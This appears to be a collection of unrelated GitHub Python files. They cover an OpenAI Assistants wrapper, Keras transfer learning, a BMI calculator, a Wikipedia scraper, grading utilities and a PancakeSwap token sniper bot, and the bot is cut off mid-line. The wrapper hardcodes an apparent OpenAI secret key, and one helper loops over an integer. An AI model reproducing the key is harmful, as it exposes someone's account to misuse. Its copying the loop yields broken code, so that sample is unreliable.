TimeoutError(\"Assistant response timed out.\")\n\n def send_message_and_get_response(self, assistant_id, user_message, role=\"user\", thread_id=None ,file_ids=None):\n \"\"\"\n Sends a message to an assistant and retrieves the assistant's response.\n\n Args:\n assistant_id (str): The ID of the assistant to send the message to.\n user_message (str): The message to send to the assistant.\n role (str, optional): The role of the message sender. Defaults to \"user\".\n file_ids (list of str, optional): The IDs of any files to attach to the message. Defaults to None.\n\n Returns:\n list of dict: The assistant's messages in response to the user's message.\n \"\"\"\n if thread_id is None:\n thread = self.create_thread()\n else:\n thread = self.client.beta.threads.retrieve(thread_id=thread_id)\n \n self.add_message_to_thread(thread_id=thread.id, role=role, content=user_message, file_ids=file_ids)\n run = self.run_assistant(thread_id=thread.id, assistant_id=assistant_id)\n\n # Poll run status and return the assistant's response when completed\n messages = self.poll_run_status(thread_id=thread.id, run_id=run.id)\n # Filtering only the assistant's messages\n assistant_messages = [msg for msg in messages if msg.role == 'assistant']\n message_contents = [msg.content[0].text.value for msg in assistant_messages]\n \n return message_contents\n\n def upload_file(self, file_path, purpose:str='assistants'):\n \"\"\"\n Uploads a file to the server.\n\n Args:\n file_path (str): The path to the file to be uploaded.\n purpose (str): The purpose of the file and what it's scope is (thread, assistant, etc).\n\n Returns:\n dict: Information about the uploaded file.\n \"\"\"\n with open(file_path, \"rb\") as file_data:\n file = self.client.files.create(file=file_data, purpose=purpose)\n return file\n \n def delete_file_association(self, assistant_id, file_id):\n \"\"\"\n Deletes the association between an assistant and a file.\n\n Args:\n assistant_id (str): The ID of the assistant.\n file_id (str): The ID of the file.\n\n Returns:\n bool: The status of the file deletion.\n \"\"\"\n file_deletion_status = self.client.beta.assistants.files.delete(\n assistant_id=assistant_id, \n file_id=file_id\n )\n return file_deletion_status\n \n \n W\nai_assistant = OpenAIAssistant(api_key=\"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\")\n\ndef ik_heb_schijt(number_of_shits:int=1):\n \"\"\"\n Prints the phrase 'Ik heb dikke schijt pik!' a specified number of times.\n\n Parameters:\n - number_of_shits (int): The number of times the phrase should be printed. Default is 1.\n\n Returns:\n - None\n \"\"\"\n for i in number_of_shits:\n print('Ik heb dikke schijt pik!')\n\nmath_assistant = ai_assistant.create_assistant(\"MathBot\",\n \"You are an expert in Math and Python, you're a 10x developper and you are a creative genius in solving and reasoning about Math problems. You also have a ik_heb_schijt function which you can use on request\", \n custom_functions={\"ik_heb_schijt\": ik_heb_schijt},\n tools=[{\"type\": \"code_interpreter\"}]\n )\n\nresponse = ai_assistant.send_message_and_get_response(math_assistant.id, \"What is the value of x in x^2 + 2x + 1 = 37?\", role=\"user\")\nprint(response)","repo_name":"MichaelRamirez043/PyLocalClarity","sub_path":"modules/ResponderAgent/responder_agent.py","file_name":"responder_agent.py","file_ext":"py","file_size_in_byte":16562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74890851612","text":"import stl10_input as stl\r\nfrom keras.applications.densenet import DenseNet121\r\nfrom keras.layers import Dense, Flatten\r\nfrom keras.optimizers import Adam\r\nfrom keras.models import Model\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nfrom keras.applications.densenet import preprocess_input\r\nfrom keras.callbacks import ModelCheckpoint\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport os\r\n\r\nMODEL_NAME = 'stl_dn121_transfer'\r\nTRAIN_DIR = 'train/'\r\nVAL_DIR = 'val/'\r\nTEST_DIR = 'test/'\r\nIMG_HEIGHT = 96\r\nIMG_WIDTH = 96\r\nIMG_CHANNELS = 3\r\nBATCH_SIZE = 128\r\nTEST_BATCH_SIZE = 1000\r\nNUM_CLASSES = 10\r\nCHECKPOINT_DIR = 'checkpoints/'\r\nCLASS_NAMES_LOC = 'data/stl10_binary/class_names.txt'\r\nDATA_PATH = 'data/stl10_binary/train_X.bin'\r\nLABEL_PATH = 'data/stl10_binary/train_y.bin'\r\nTEST_DATA_PATH = 'data/stl10_binary/test_X.bin'\r\nTEST_LABEL_PATH = 'data/stl10_binary/test_y.bin'\r\nLAYER_UNITS = (64, 16)\r\nLR = 1e-4\r\nEPOCHS = 10\r\nNUM_SAMPLES = 5000\r\nNUM_VAL_SAMPLES = 256\r\nNUM_TRAINING_SAMPLES = NUM_SAMPLES - NUM_VAL_SAMPLES\r\n\r\ndef build_model(base, layer_units, num_classes):\r\n for layer in base.layers:\r\n layer.trainable = False\r\n \r\n x = base.output\r\n x = Flatten()(x)\r\n for num_units in layer_units:\r\n x = Dense(num_units, activation='relu')(x)\r\n\r\n predictions = Dense(num_classes, activation='softmax')(x)\r\n model = Model(inputs=base.input, outputs=predictions)\r\n return model\r\n\r\ndef prepare_data():\r\n # Download and Organize data\r\n stl.download_and_extract()\r\n images = stl.read_all_images(DATA_PATH)\r\n labels = stl.read_labels(LABEL_PATH)\r\n test_x = stl.read_all_images(TEST_DATA_PATH)\r\n test_y = stl.read_labels(TEST_LABEL_PATH)\r\n\r\n train_x = images[:NUM_TRAINING_SAMPLES]\r\n train_y = labels[:NUM_TRAINING_SAMPLES]\r\n val_x = images[-NUM_VAL_SAMPLES:]\r\n val_y = labels[-NUM_VAL_SAMPLES:]\r\n\r\n if not os.path.isdir(TRAIN_DIR):\r\n os.makedirs(TRAIN_DIR)\r\n if not os.path.isdir(VAL_DIR):\r\n os.makedirs(VAL_DIR)\r\n if not os.path.isdir(TRAIN_DIR):\r\n os.makedirs(TRAIN_DIR)\r\n\r\n stl.save_images(train_x, train_y, TRAIN_DIR)\r\n stl.save_images(val_x, val_y, VAL_DIR)\r\n stl.save_images(test_x, test_y, TEST_DIR)\r\n\r\n# Check if data exists\r\nif not os.path.isdir(TRAIN_DIR):\r\n prepare_data()\r\n\r\n# Data Feed\r\ndatagen = ImageDataGenerator(\r\n preprocessing_function=preprocess_input\r\n)\r\ntrain_gen = datagen.flow_from_directory(\r\n TRAIN_DIR, \r\n target_size=(IMG_HEIGHT, IMG_WIDTH), \r\n batch_size=BATCH_SIZE\r\n)\r\nval_gen = datagen.flow_from_directory(\r\n VAL_DIR, \r\n target_size=(IMG_HEIGHT, IMG_WIDTH), \r\n batch_size=BATCH_SIZE\r\n)\r\ntest_gen = datagen.flow_from_directory(\r\n TEST_DIR, \r\n target_size=(IMG_HEIGHT, IMG_WIDTH), \r\n batch_size=TEST_BATCH_SIZE\r\n)\r\n\r\n# Class Names\r\nclass_names = dict()\r\nwith open(CLASS_NAMES_LOC, 'r') as f:\r\n for i in range(NUM_CLASSES):\r\n class_names[i] = f.readline().strip()\r\n\r\nlabel_map = {value: class_names[int(key)-1] \r\n for key, value in train_gen.class_indices.items()}\r\n \r\n# Model\r\nadam = Adam(lr=LR)\r\ndn121 = DenseNet121(weights='imagenet', include_top=False, input_shape=(IMG_HEIGHT, IMG_WIDTH, IMG_CHANNELS))\r\nmodel = build_model(dn121, LAYER_UNITS, NUM_CLASSES)\r\nmodel.compile(adam, loss='categorical_crossentropy', metrics=['accuracy'])\r\n\r\n# Checkpoints\r\n\r\nif not os.path.isdir(CHECKPOINT_DIR):\r\n os.makedirs(CHECKPOINT_DIR)\r\ncheckpoint_path = CHECKPOINT_DIR + MODEL_NAME + '.h5'\r\ncheckpoint = ModelCheckpoint(checkpoint_path, monitor='val_acc', \r\n verbose=1, save_weights_only=True, mode='max')\r\ncallbacks = [checkpoint]\r\n\r\n# Check for pretrained weights\r\nif os.path.isfile(checkpoint_path):\r\n model.load_weights(checkpoint_path)\r\nelse:\r\n # Train\r\n _ = model.fit_generator(\r\n train_gen, \r\n epochs=EPOCHS,\r\n steps_per_epoch=NUM_TRAINING_SAMPLES // BATCH_SIZE,\r\n validation_data=val_gen, \r\n validation_steps=NUM_VAL_SAMPLES // BATCH_SIZE,\r\n shuffle=True,\r\n callbacks=callbacks)\r\n\r\n# Predict\r\ntest_batch_x, test_batch_y = test_gen.next()\r\npred_batch = model.predict(test_batch_x)\r\n\r\ntest_labels = np.argmax(test_batch_y, axis=1)\r\ntest_pred = np.argmax(pred_batch, axis=1)\r\n\r\ntest_acc = sum(test_labels == test_pred) / len(test_labels)\r\nprint('Accuracy: %.3f' % test_acc)\r\n\r\nfig, axes = plt.subplots(3, 3, figsize=(10, 12))\r\nfor i in range(3):\r\n for j in range(3):\r\n ind = np.random.randint(0, len(test_labels))\r\n axes[i, j].imshow((test_batch_x[ind] + 2.5) / 5)\r\n axes[i, j].set_title('pred = %s, label = %s' % (label_map[test_pred[ind]], label_map[test_labels[ind]]))\r\n\r\nplt.show()","repo_name":"fynnsu/MLProjects","sub_path":"STL10/transfer_learning.py","file_name":"transfer_learning.py","file_ext":"py","file_size_in_byte":4708,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"31430549800","text":"# BMI CALCULATOR IN PYTHON\nimport os\nimport bmi_converter\nfrom datetime import date\n\n\n# define our clear function\ndef clear():\n # for windows\n if os.name == 'nt':\n os.system('cls')\n # for mac and linux(here, os.name is 'posix')\n else:\n _ = os.system('clear')\n\n\nwhile True:\n try:\n age = input(\"How old are you? \")\n age = int(age)\n\n weight = input(\"What is your weight: \")\n weight = float(weight)\n wconverted = bmi_converter.weight_converter(weight)\n\n height = input(\"What is your height: \")\n height = float(height)\n hconverted = bmi_converter.height_converter(height)\n break\n except ValueError:\n # os.system(clock_settime)\n print(\"No valid integer! Please try again ...\")\n clear()\ntry:\n BMI = float(wconverted / (hconverted ** 2))\n print(\"Your BMI is: \", BMI, \"as of \", date.today()) # You had not defined the variable \"date\"\n print(\"You are using a\", os.name, \"system\")\nexcept ZeroDivisionError:\n print(\"Can not divide,\\nZero Division Error .\")\n","repo_name":"tamilore3000/Python-Tutorial","sub_path":"OOP_in_python/Modules/BMI_work/bmi_calc_modules.py","file_name":"bmi_calc_modules.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"43130583659","text":"import wikipediaapi\nimport re\nimport random\nimport requests\nimport file_handeling as fh\nfrom numba import jit, cuda\nimport os\n\n\n# category functions: \ndef get_category_members(categorymembers, level = 0, max_level = 1, category_set = set()):\n for c in categorymembers.values():\n category_set.add(c.title)\n if c.ns == wikipediaapi.Namespace.CATEGORY and level < max_level:\n get_category_members(c.categorymembers, level=level + 1, max_level=max_level,category_set=category_set)\n return category_set\n\ndef get_people_who_died_in_year(year):\n cat = wiki_wiki.page(\"Category:\"+str(year)+\" deaths\")\n return get_category_members(cat.categorymembers)\n\n# making random sample functions: \ndef get_random_sample(group, nsamples, clean = False):\n # takes a random sample of names from the return of get_category_members\n random_sample = set()\n group_list = list(group)\n random.shuffle(group_list)\n index = 0\n nchosen = 0\n while nchosen <= nsamples:\n item = group_list[index]\n index +=1\n item_page = wiki_wiki.page(item)\n # doing this here instead of cleaning the whole sample to save time because we are currently randomly sampling \n # in the future if I do a purposeful sample I will change this\n if (not clean) or (not re.findall(\"^(Category|List|Template)\",item) and (get_birth_year(item_page) != YEAR_NOT_FOUND())) : \n random_sample.add(item)\n nchosen += 1 \n return random_sample\n\ndef get_sample_dict_by_death_year(death_year, sample_size):\n people_who_died_in_X_year = get_people_who_died_in_year(death_year)\n random_sample = get_random_sample(people_who_died_in_X_year,sample_size)\n sample_dict = make_dictionary(random_sample, death_year=death_year)\n return sample_dict\n\ndef get_sample_dict_by_category(category, sample_size):\n cat = wiki_wiki.page(category)\n category_string = category.partition(':')[2] \n category_members = get_category_members(cat.categorymembers)\n random_sample = get_random_sample(category_members, sample_size)\n sample_dict = make_dictionary(random_sample, death_year = YEAR_NOT_FOUND(),category=category_string)\n return sample_dict\n\n\n# attribute functions: \n\ndef YEAR_NOT_FOUND():\n return -1999\n\ndef get_birth_death_year(page):\n birth_year = YEAR_NOT_FOUND()\n death_year = YEAR_NOT_FOUND()\n categories = page.categories\n for title in sorted(categories.keys()):\n if re.findall(\"Category:\\d{4}\\sbirths\",title): birth_year = int(re.findall(\"\\d{4}\", title)[0])\n if re.findall(\"Category:\\d{4}\\sdeaths\",title): death_year = int(re.findall(\"\\d{4}\", title)[0])\n\n return birth_year, death_year\n\ndef get_birth_year(page):\n birth_year = YEAR_NOT_FOUND()\n categories = page.categories\n for title in sorted(categories.keys()):\n if re.findall(\"Category:\\d{4}\\sbirths\",title): birth_year = int(re.findall(\"\\d{4}\", title)[0])\n return birth_year\n\ndef get_death_year(page):\n death_year = YEAR_NOT_FOUND()\n categories = page.categories\n for title in sorted(categories.keys()):\n if re.findall(\"Category:\\d{4}\\sdeaths\",title): death_year = int(re.findall(\"\\d{4}\", title)[0])\n return death_year\n\ndef get_summary(page):\n if len(page.summary.partition('.')[0]) > 5: \n first_sentence = page.summary.partition('.')[0] + '.'\n else: \n first_sentence = page.summary.partition('.')[1] + '.'\n bio_pattern = re.findall(\"was an?.*\\.\",first_sentence)\n if bio_pattern:\n # take first sentence after \"was an\"\n summary = ' '.join(bio_pattern[0].split()[2:])[:-1] \n return summary\n else: \n return first_sentence\n \ndef get_page_views(page):\n name = page.fullurl.removeprefix(\"https://en.wikipedia.org/wiki/\")\n # name = name.replace(\" \", \"_\") \n # calling monthly page views \n address = \"https://wikimedia.org/api/rest_v1/metrics/pageviews/per-article/en.wikipedia.org/all-access/user/\" + name + \"/monthly/2015010100/2023083100\"\n headers = {'User-Agent': 'GenerateText (madesai@umich.edu)'}\n\n resp = requests.get(address, headers=headers, timeout=20.0)\n if resp.ok:\n details = resp.json()\n total_views = 0\n for month in details['items']:\n total_views += month['views']\n return total_views\n else:\n return None\n \n# organizing data:\n@jit(target_backend='cuda',nopython=True) \ndef make_dictionary_long(group, death_year=None, birth_year=None, category=None, clean = True, born_before = 2023):\n # takes a set of strings (wikipedia names)\n # returns a dictionary of {name: {birth_year, death_year, summary, category, page_views}, ...}\n sample_dict = {}\n for item in group:\n item_page = wiki_wiki.page(item)\n birth_year, death_year = get_birth_death_year(item_page)\n if birth_year < born_before: \n if (not clean) or ( not re.findall(\"^(Category|List|Template)\",item)): #and (get_birth_year(item_page) != YEAR_NOT_FOUND())):\n item_page = wiki_wiki.page(item)\n summary = get_summary(item_page)\n page_views = get_page_views(item_page)\n sample_dict[item] = {\"birth_year\": birth_year, \"death_year\": death_year, \"summary\": summary, \"category\":category, \"page_views\": page_views}\n return sample_dict\n\ndef make_dictionary(group, birth_year):\n sample_dict = {}\n for item in group:\n sample_dict[item] = {\"birth_year\": birth_year}\n return sample_dict\n\n# get sample here: \ndef make_year_categories(start_year = 1600, end_year = 2000):\n year_cat_list = []\n for year in range(start_year,end_year+1):\n year_cat_list.append(\"Category:{} births\".format(year))\n return year_cat_list\n\n # then need to get page views and save in JSON format \n\n\n\n\ndef main():\n global wiki_wiki\n wiki_wiki = wikipediaapi.Wikipedia('GenerateText (madesai@umich.edu)', 'en')\n out_path = \"/data/madesai/history-llm-data/wikipedia-json-files/all_wiki.json\"\n meta_data = open(\"file_counts.txt\",\"w\")\n all_data = {}\n for year in range(1,2020):\n category = \"Category:{} births\".format(year)\n birth_year = year\n #file_name = category.partition(':')[2].lower().replace(\" \",\"_\")+\".json\"\n\n wiki_cat = wiki_wiki.page(category)\n category_members = get_category_members(wiki_cat.categorymembers)\n data = make_dictionary(category_members,birth_year=birth_year)\n print(\"{} items in {}.\".format(len(data), category))\n meta_data.write(\"{};{}\\n\".format(len(data),category))\n #fh.write_to_json(data,out_path+file_name)\n all_data.update(data)\n category_members.clear()\n meta_data.close()\n fh.write_to_json(all_data, out_path) \n\nif __name__ == \"__main__\":\n main()","repo_name":"madesai22/generate-text","sub_path":"predict-birthyear/wiki_to_json.py","file_name":"wiki_to_json.py","file_ext":"py","file_size_in_byte":6843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13116814604","text":"import os\nimport re\nimport csv\nimport json\n\n\n\n\ndef get_all_py_in_dir_all(dir, blackls):\n\n out = []\n\n for f in os.listdir(dir):\n xx = re.search(\"^_\\S+\", f)\n if xx is not None:\n continue\n\n curr = os.path.join(dir, f)\n\n if os.path.isfile(curr):\n # if it is a file\n xx = re.search(\"\\S+\\.py$\", f)\n if xx is not None:\n flag = False\n for bk in blackls:\n if bk.lower() in f.lower():\n flag = True\n break\n if flag: continue\n out.append(curr)\n\n else:\n # if it is a folder\n pys = get_all_py_in_dir_all(curr, blackls)\n if len(pys) > 0 :\n out.extend(pys)\n\n return out\n\n\ndef combine( file_ls, out_file_name, zipname, archive_dir, dir_ls):\n\n all_contents = []\n\n all_contents.append(\"\\n>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\")\n all_contents.append(\"Archive Dir: \" + archive_dir)\n all_contents.append(\"Archive Name: \" + zipname )\n all_contents.append(\"PY Files in zip:\")\n\n for i, tmp in enumerate(file_ls):\n all_contents.append(\"\\t\" + str(i+1) + \" \" + tmp)\n\n all_contents.append(\">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\\n\")\n\n for file in file_ls:\n all_contents.append(\"\\n###################################################\")\n all_contents.append(\"# Inner File: \" + file)\n all_contents.append(\"###################################################\\n\")\n\n with open(os.path.join( file)) as f:\n lines = f.read().splitlines()\n all_contents.extend(lines)\n\n all_contents.append(\"\\n\\n\\n\")\n\n with open(out_file_name, 'w') as f:\n for line in all_contents:\n f.write(line + '\\n')\n\n return\n\n\n\n\n\n\n\n\n\n\n'''\nold\n'''\n\n\n\ndef append_dict_as_row(file_name, dict_of_elem, field_names):\n # Open file in append mode\n with open(file_name, 'a+', newline='') as write_obj:\n # Create a writer object from csv module\n dict_writer = csv.DictWriter(write_obj, fieldnames=field_names)\n # Add dictionary as wor in the csv\n dict_writer.writerow(dict_of_elem)\n\n\ndef write_dict_as_row(file_name, dict_of_elem, field_names):\n # Open file in append mode\n with open(file_name, 'w', newline='') as write_obj:\n # Create a writer object from csv module\n dict_writer = csv.DictWriter(write_obj, fieldnames=field_names)\n dict_writer.writeheader()\n # Add dictionary as wor in the csv\n dict_writer.writerow(dict_of_elem)\n\n\ndef write_to_csv(file_name, dict_of_elem, field_names):\n if os.path.isfile(file_name):\n append_dict_as_row(file_name, dict_of_elem, field_names)\n else:\n write_dict_as_row(file_name, dict_of_elem, field_names)\n\n\n\n\ndef search_csv(file_name, ubit):\n if not os.path.isfile(file_name): return False\n with open(file_name, newline='') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=',', quotechar='|')\n for row in spamreader:\n if row[0] == ubit:\n return True\n return False\n\n\ndef read_csv(file_name):\n ret = list()\n if not os.path.isfile(file_name): return ret\n with open(file_name, newline='', encoding='utf-8-sig') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=',', quotechar='|')\n for row in spamreader:\n if row != None: ret.append(row)\n\n tmp = list()\n for coord in ret:\n tmp.append([int(coord[0]), int(coord[1])])\n return tmp\n\n\ndef read_json(file_name):\n try:\n with open(file_name) as f:\n data = json.load(f)\n except:\n data = None\n return data\n\n\ndef modify(path):\n if not os.path.isfile(path):\n return\n\n with open(path) as f:\n lines = f.read().splitlines()\n\n with open(path, 'w') as f:\n for line in lines:\n # tmp = line.rstrip()\n if re.search(\"\\s+choices=\\S+\", line):\n f.write(line.replace('choices=', '# choices=') + '\\n')\n else:\n f.write(line + '\\n')\n\n\ndef checkIfImplemented(path):\n if not os.path.isfile(path):\n return False\n with open(path) as f:\n lines = f.read().splitlines()\n for line in lines:\n line = line.rstrip()\n\n if re.search(\"^\\s+raise NotImplementedError\",line):\n return False\n return True\n\n\n\n\n","repo_name":"CaptainPZ/CSE4573ComputerVisionImageProcessingGrading","sub_path":"Code_Concatenation/Utils.py","file_name":"Utils.py","file_ext":"py","file_size_in_byte":4450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3352066180","text":"#!/usr/bin/python3\nfrom txns import TXN\nimport argparse, sys, json\nimport time\nfrom web3 import Web3\nimport key\nimport re\n\n\nbsc = key.wss\nweb3 = Web3(Web3.WebsocketProvider(bsc))\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-hp', '--hp', action=\"store_true\", help=\"Honeypot Checker, -hp to activate honeypot checker\")\nparser.add_argument('-sw', '--sw', action=\"store_true\", help=\"Trade Check, -sw to Disable\")\nparser.add_argument(\"-t\", \"--t\", action=\"store_true\", help=\"Help you to Calculate Time\")#calculatetime\nparser.add_argument(\"-tx\", \"--tx\", action=\"store_true\", help=\"Check Tax, -tx to disable tax checker\")#check Tax\nparser.add_argument(\"-c\", \"--c\", action=\"store_true\", help=\"Check Mode, to check tax etc\")#check Mode\nparser.add_argument(\"-sl\", \"--sl\", action=\"store_true\", help=\"sell only\")#check Mode\nparser.add_argument(\"-n\", \"--n\", help=\"amount of BNB you want to spend, default is 0.01\")#nominal\nparser.add_argument(\"-d\", \"--d\", help=\"To skip certain block, in order to use this you must use high gas\")#deadblock\nparser.add_argument(\"-g\", \"--g\", help=\"you can use this to change default gwei setting, default gwei is 20\")#gwei\nparser.add_argument(\"-gs\", \"--gs\", help=\"costum gwei for sell \")#gweisell\nparser.add_argument(\"-ws\", \"--ws\", action=\"store_true\", help=\"watch & sell \")#gweisell\nargs = parser.parse_args()\n\n\n#PancakeFactory\npancake_factory = '0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73'\npancake_factory_abi = key.pancake_factory_abi\nfcontract = web3.eth.contract(address=pancake_factory, abi=pancake_factory_abi)\n\n#WBNBFactory\nwbnb = web3.toChecksumAddress('0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c')\nwbnb_abi = key.wbnb_abi\nwcontract = web3.eth.contract(address=wbnb, abi=wbnb_abi)\n\n#Pancakeswap Router\npancake_router = '0x10ED43C718714eb63d5aA57B78B54704E256024E'\npancake_router_abi = key.pancake_router_abi\nprouter = web3.eth.contract(address=pancake_router, abi=pancake_router_abi)\n\n\n\n\nclass SniperBot():\n\n def __init__(self):\n self.parseArgs()\n \n \n def SayWelcome(self):\n print(\"---------------------------------\")\n print(key.CYELLOW+\"Amount :\"+key.RESET+'\\n'+ str(self.amount) + \" BNB\")\n print(key.CYELLOW+\"Contract Address :\"+key.RESET+'\\n'+str(self.token))\n \n def parseArgs(self):\n print(key.CRED+\"Enter Contract Address :\"+key.RESET)\n ca = input().lower()\n token = ca\n #replacestring\n rstring = token.replace('zero', '0').replace('one', '1').replace('two', '2').replace('three', '3').replace('four', '4').replace('five', '5').replace('six', '6').replace('seven', '7').replace('eight', '8').replace('nine', '9').replace('ten', '10').replace('eleven', '11').replace('twelve', '12').replace('thirteen', '13').replace('fourteen', '14').replace('fifteen', '15').replace('sixteen', '16').replace('seventeen', '17').replace('eighteen', '18').replace('nineteen', '19').replace('twenty', '20').replace('remove', '').replace('delete', '').replace('beginning', '').replace('middle', '').replace('end', '').replace('first', '').replace('second', '').replace('third', '').replace('space', '')\n\n #replace karakter\n rcharact = re.sub(r'[^a-zA-Z0-9]','',rstring)\n shit = web3.toChecksumAddress(rcharact)\n self.token = web3.toChecksumAddress(shit)\n #amount\n nom1 = key.nonimal1\n nom2 = args.n\n if nom2 == None:\n nominal = nom1\n else: \n nominal = nom2\n token = nominal\n self.amount = token \n #self.tx = args.txamount\n self.amountForSnipe = float(self.amount)\n self.hp = args.hp\n\n\n def paircheck(self):\n #Pair checker\n pancake_factory = '0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73'\n pancake_factory_abi = key.pancake_factory_abi\n fcontract = web3.eth.contract(address=pancake_factory, abi=pancake_factory_abi)\n token1 = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c'\n token2 = web3.toChecksumAddress(self.token)\n none = '0x0000000000000000000000000000000000000000'\n pair = fcontract.functions.getPair(token1,token2).call()\n if pair == none:\n print(key.CBLUE + 'Cheking Pair Please Wait.....'+key.RESET+'\\n'+key.CGREEN + 'Pair Not Detected '+'\\n'+key.RESET+key.CVIOLET+'Waiting Pairs !'+key.RESET)\n while True:\n pair = fcontract.functions.getPair(token1,token2).call()\n time.sleep(0.3)\n if pair != none:\n break\n print(key.CGREEN + 'Pair Detected at block '+key.RESET+key.CBLUE+str(web3.eth.blockNumber)+key.RESET+'\\n'+key.CRED + pair + key.RESET+'\\n'+ key.CYELLOW+'Checking Liquidity !'+key.RESET)\n #WBNBFactory\n wbnb = web3.toChecksumAddress('0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c')\n wbnb_abi = key.wbnb_abi\n wcontract = web3.eth.contract(address=wbnb, abi=wbnb_abi)\n #LPchecker\n simbol = wcontract.functions.symbol().call()\n cek = wcontract.functions.balanceOf(pair).call()\n totallp = web3.fromWei(cek,'ether')\n if totallp < 0.5:\n print(key.CRED + 'Liquadity Not Detected '+'\\n'+key.RESET+key.CVIOLET+'Waiting Dev Add The Liquadity !'+key.RESET)\n while True:\n pair = fcontract.functions.getPair(token1,token2).call()\n cek = wcontract.functions.balanceOf(pair).call()\n totallp = web3.fromWei(cek,'ether')\n time.sleep(0.3)\n if totallp > 0.5:\n break\n print(key.CGREEN + 'Liquadity is Detected '+'\\n'+key.RESET+str(totallp) +key.CYELLOW+' '+simbol+key.RESET+'\\n'+key.CRED+'Checking Trade Status !'+key.RESET)\n\n def awaitEnabledBuy(self):\n while True:\n try:\n if self.TXN.checkifTokenBuyDisabled() == True:\n break\n except Exception as e:\n if \"UPDATE\" in str(e):\n print(e)\n sys.exit()\n continue\n print(key.CGREEN+'Trade is Enabled'+key.RESET)\n \n def maketx(self):\n\n #gwei and amount of token setup\n gwei1 = key.gwei1\n gwei2 = args.g\n if gwei2 == None:\n gwei = gwei1\n else:\n gwei = gwei2\n #amountbuy######\n nom1 = key.nonimal1\n nom2 = args.n\n if nom2 == None:\n nominal = nom1\n else: \n nominal = nom2\n #buytoken\n\n nonce = web3.eth.get_transaction_count(key.account)\n start = time.time()\n pancakeswap2_txn = prouter.functions.swapExactETHForTokens(\n 0, # set to 0, or specify minimum amount of tokeny you want to receive - consider decimals!!!\n [wbnb, self.token],\n key.account,\n (int(time.time()) + 10000)\n ).buildTransaction({\n 'from': key.account,\n 'value': web3.toWei((nominal),'ether'),#This is the Token(BNB) amount you want to Swap from\n 'gas': 2500000,\n 'gasPrice': web3.toWei((gwei),'gwei'),\n 'nonce': nonce,\n })\n signed_txn = web3.eth.account.sign_transaction(pancakeswap2_txn, private_key=key.private)\n tx_token = web3.eth.send_raw_transaction(signed_txn.rawTransaction)\n rs = (web3.toHex(tx_token))\n\n #checking transaction status\n print(key.CYELLOW +'https://bscscan.com/tx/'+rs+key.RESET)\n print(key.CBLUE +'Checking Transaction Status'+key.RESET)\n resi = web3.eth.wait_for_transaction_receipt(rs)\n block = resi['status']\n if block == 1:\n print(key.CGREEN+'Transaction Succesfull'+key.RESET)\n if block == 0:\n print(key.CRED+'Transaction Failed'+key.RESET)\n sys.exit()\n print(key.CBLUE +'---------------------------------'+key.RESET)\n \n def selltx(self):\n\n #sellcontract\n sell_router = web3.toChecksumAddress(self.token)\n sell_router_abi = key.sellAbi\n selltcontract = web3.eth.contract(sell_router, abi=sell_router_abi)\n #TokenInfo \n balance = selltcontract.functions.balanceOf(key.account).call()\n symbol = selltcontract.functions.symbol().call()\n readable = web3.fromWei(balance,'ether')\n tokenValue = balance\n\n #Approve Token before Selling\n start = (int(time.time()) + 10000)\n approve = selltcontract.functions.approve(pancake_router, 115792089237316195423570985008687907853269984665640564039457584007913129639935).buildTransaction({\n 'from': key.account,\n 'gasPrice': web3.toWei('5','gwei'),\n 'nonce': web3.eth.get_transaction_count(key.account),\n })\n\n signed_txn = web3.eth.account.sign_transaction(approve, private_key=key.private)\n tx_token2 = web3.eth.send_raw_transaction(signed_txn.rawTransaction)\n\n #preparing\n ar = (web3.toHex(tx_token2))\n aresi = web3.eth.wait_for_transaction_receipt(ar)\n apr = aresi['status']\n if apr == 1:\n print(key.CGREEN+'Approved'+key.RESET)\n if apr == 0:\n print(key.CRED+'Failed'+key.RESET)\n sys.exit()\n #check profit \n cont = print(key.CYELLOW+'Checking Profit!'+key.RESET)\n\n try:\n while True:\n check = prouter.functions.getAmountsOut(int(balance),[self.token, wbnb]).call()\n rbnb = web3.fromWei(check[1],'ether')\n print (key.CYELLOW+'Your Profit: '+key.RESET+key.CGREEN+str(rbnb)+' BNB'+key.RESET)\n time.sleep(1)\n except KeyboardInterrupt:\n pass\n print(key.CBLUE+'Swapping Token.........'+key.RESET)\n #gwei for sell\n gweis1 = key.gsell\n gweis2 = args.gs\n if gweis2 == None:\n gweis = gweis1\n else:\n gweis = gweis2\n\n #selltoken\n pancakeswap2_txn = prouter.functions.swapExactTokensForETHSupportingFeeOnTransferTokens(\n int(tokenValue),0,\n [self.token, wbnb],\n key.account,\n (int(time.time()) + 1000000)\n\n ).buildTransaction({\n 'from': key.account,\n 'gas': 2500000,\n 'gasPrice': web3.toWei((gweis),'gwei'),\n 'nonce': web3.eth.get_transaction_count(key.account),\n })\n\n signed_txn = web3.eth.account.sign_transaction(pancakeswap2_txn, private_key=key.private)\n tx_token3 = web3.eth.send_raw_transaction(signed_txn.rawTransaction)\n\n jt = (web3.toHex(tx_token3))\n jresi = web3.eth.wait_for_transaction_receipt(jt)\n jpr = jresi['status']\n if jpr == 1:\n print(key.CGREEN+'Success'+key.RESET)\n if jpr == 0:\n print(key.CRED+'Failed'+key.RESET)\n print(key.CGREEN+'https://bscscan.com/tx/'+jt+key.RESET)\n print(key.CBLUE +'---------------------------------'+key.RESET)\n mbal = web3.eth.get_balance(key.account)\n rmbal = web3.fromWei(mbal,'ether')\n print('Balance :'+str(rmbal)+key.CYELLOW +' 